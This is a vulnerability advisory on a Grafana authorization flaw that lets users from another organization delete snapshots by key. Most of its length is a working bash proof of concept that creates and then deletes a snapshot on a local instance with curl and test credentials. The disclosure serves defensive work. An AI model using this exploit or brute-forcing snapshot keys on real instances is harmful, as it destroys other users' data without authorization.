Grafana: Users outside an organization can delete a snapshot with its key

Summary

The DELETE /api/snapshots/{key} endpoint allows any Grafana user to delete snapshots if the user is NOT in the organization of the snapshot

Details

An attacker (a user without organization affiliation or with a "no basic role" in an organization other than the one where the dashboard exists), knowing the key or URL of a snapshot created by any user (including Grafana admins), can delete a snapshot (It is not feasible using UI), resulting in a BOLA vulnerability. If an attacker is in the same organization of the dashboard snapshot, he can’t delete the snapshot. However, an attacker with low-privilege from a different organization would be able to delete it, resulting in the authorization flaw.

Screenshot 2024-01-19 at 3 50 23 PM

Precondition

To exploit this endpoint, an attacker must know the {key} of a snapshot. The attacker can potentially discover this key in various ways.

When creating a snapshot through the API, users can manually specify a key without any complexity requirements. This lack of complexity makes this key susceptible to brute force attacks. For example, simplistic keys such as "customer_key_123" or "admin_snap" can be easily guessed. These predictable keys allow low-privileged attackers to perform brute-force attacks using common keywords, potentially leading to compromised data integrity.

In addition, this key is displayed in plain text in the URL of a snapshot. This means that if a user publicly displays a snapshot, viewers might note down the key. Furthermore, since the snapshot feature is often used for sharing, displaying, and backing up data, a low-privileged attacker could potentially find snapshot keys in places like the organization's content management system, messaging platform, or shared documents.

PoC

#!/bin/bash -x

# /snapshots/{key}: {'delete': {'success_status_code': 200, 'exec_paths': ['post /snapshots']}}
# 2d92c726-bf3c-4f20-b979-37bdf81d68c7

# Authentication stage

# User A - Grafana Admin
user_a_token="YWRtaW46YWRtaW4xMjM="

# User B - User with no permissions , which is not part of any org
user_b_token="YmJiOmJiYmJiYmJiYg=="

# Create snapshot
current_date=$(date +%Y-%m-%d-%H-%M-%S)
random_string="random-${current_date}"
snapshot_data='{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","snapshotData":[],"type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"fiscalYearStartMonth":0,"graphTooltip":0,"id":1517,"links":[],"liveNow":false,"panels":[{"aliasColors":{},"bars":false,"dashLength":10,"dashes":false,"datasource":null,"fill":1,"fillGradient":0,"gridPos":{"h":7,"w":24,"x":0,"y":0},"hiddenSeries":false,"id":4,"legend":{"alignAsTable":true,"avg":false,"current":true,"max":false,"min":false,"rightSide":true,"show":true,"total":false,"values":true},"lines":true,"linewidth":1,"links":[],"nullPointMode":"null","options":{"alertThreshold":true},"percentage":false,"pluginVersion":"10.2.3","pointradius":2,"points":false,"renderer":"flot","seriesOverrides":[],"snapshotData":[{"fields":[{"config":{},"name":"time","type":"time","values":[1704380420234,1704380420334,1704380420434,1704380420534,1704380420634,1704380420734,1704380420834,1704380566535,1704380566635,1704380566735,1704380566835,1704380566935,1704380567035,1704380567135,1704380567235,1704380567335,1704380567435,1704380567535,1704380567635,1704380567735,1704380567835,1704380567935,1704380568035,1704380568135,1704380568235,1704380568335,1704380568435,1704380568535,1704380568635,1704380568735,1704380568835,1704380568935,1704380569035,1704380569135,1704380569235,1704380569335,1704380569435,1704380569535,1704380569635,1704380569735,1704380569835,1704380569935,1704380570035,1704380570135,1704380570235,1704380570335,1704380570435,1704380570535,1704380570635,1704380570735,1704380570835,1704380570935,1704380571035,1704380571135,1704380571235,1704380571335,1704380571435,1704380571535,1704380571635,1704380571735,1704380571835,1704380571935,1704380572035,1704380572135,1704380572235,1704380572335,1704380572435,1704380572535,1704380572635,1704380572735,1704380572835,1704380572935,1704380573035,1704380573135,1704380573235,1704380573335,1704380573435,1704380573535,1704380573635,1704380573735,1704380573835,1704380573935,1704380574035,1704380574135,1704380574235,1704380574335,1704380574435,1704380574535,1704380574635,1704380574735,1704380574835,1704380574935,1704380575035,1704380575135,1704380575235,1704380575335,1704380575435,1704380575535,1704380575635,1704380575735,1704380575835,1704380575935,1704380576035,1704380576135,1704380576235,1704380576335,1704380576435,1704380576535,1704380576635,1704380576735,1704380576835,1704380576935,1704380577035,1704380577135,1704380577235,1704380577335,1704380577435,1704380577535,1704380577635,1704380577735,1704380577835,1704380577935,1704380578035,1704380578135,1704380578235,1704380578335,1704380578435,1704380578535,98.36651881887735,90.90520552302428,100.73967111022498,109.89826524946163,102.00960918579666,106.33530882778683,106.52629457166695,109.56323497328492,116.87832749309237,115.14116509660076,115.70457190523986,118.1091621354617,113.9144753018141,117.58351263310455,117.38409043570634,126.94212224196508,134.50552909930198,127.97490160986311,123.5784401639683,125.31012734609902,118.56171579412602,122.71596068271737,116.11258334902308,118.07532920254557,113.5755959893507,117.02863610131872,122.42991477107806,124.68121765645371,121.45599945829102,120.93643213038477,118.75961398984585,118.70214867496358,116.1085878323934,109.08837112411643,111.90652582288098,109.69360084697551,113.57752983270163,121.0455900847171,116.98257636596624,118.33231004235124,128.19430473604484,119.7539320116394,120.39948913692677,117.05787774775756,109.29564979026497,119.08806090022262,111.20930907183256,104.99629052804383,96.05550719780628,87.99845374253385,83.19203585736912,83.13916797842998,-70.53615047052016,-73.3850420187272]}],"meta":{},"refId":"A"}],"spaceLength":10,"stack":false,"steppedLine":false,"targets":[],"thresholds":[],"timeRegions":[],"title":"Simple dummy streaming example","tooltip":{"shared":true,"sort":0,"value_type":"individual"},"type":"graph","xaxis":{"mode":"time","show":true,"values":[]},"yaxes":[{"format":"short","logBase":1,"show":true},{"format":"short","logBase":1,"show":true}],"yaxis":{"align":false}}],"refresh":"","schemaVersion":39,"snapshot":{"timestamp":"2024-01-04T15:03:04.128Z"},"tags":[],"templating":{"list":[]},"time":{"from":"2024-01-04T15:02:08.132Z","to":"2024-01-04T15:03:08.132Z","raw":{"from":"now-1m","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Simple Streaming Example Snapshot","uid":"TXSTREZ","version":1,"weekStart":""},"name":"Simple Streaming Example Snapshot", "expires":0, "key":"admin_key"}'

create_snapshot_response=$(curl -s -X POST "http://localhost:3000/api/snapshots" -H "Authorization: Basic ${user_a_token}" -H "Content-Type: application/json" -d "${snapshot_data}")

# Extract key from create snapshot response
key=$(echo "$create_snapshot_response" | jq -r '.key')

# Delete snapshot
delete_snapshot_response=$(curl -s -X DELETE "http://localhost:3000/api/snapshots/${key}" -H "Authorization: Basic ${user_b_token}" -o /dev/null -w "%{http_code}")

# Check if the test passed
if [ "$delete_snapshot_response" -eq 200 ]; then
  echo -e "\033[32mTest was passed, BOLA\033[0m"
fi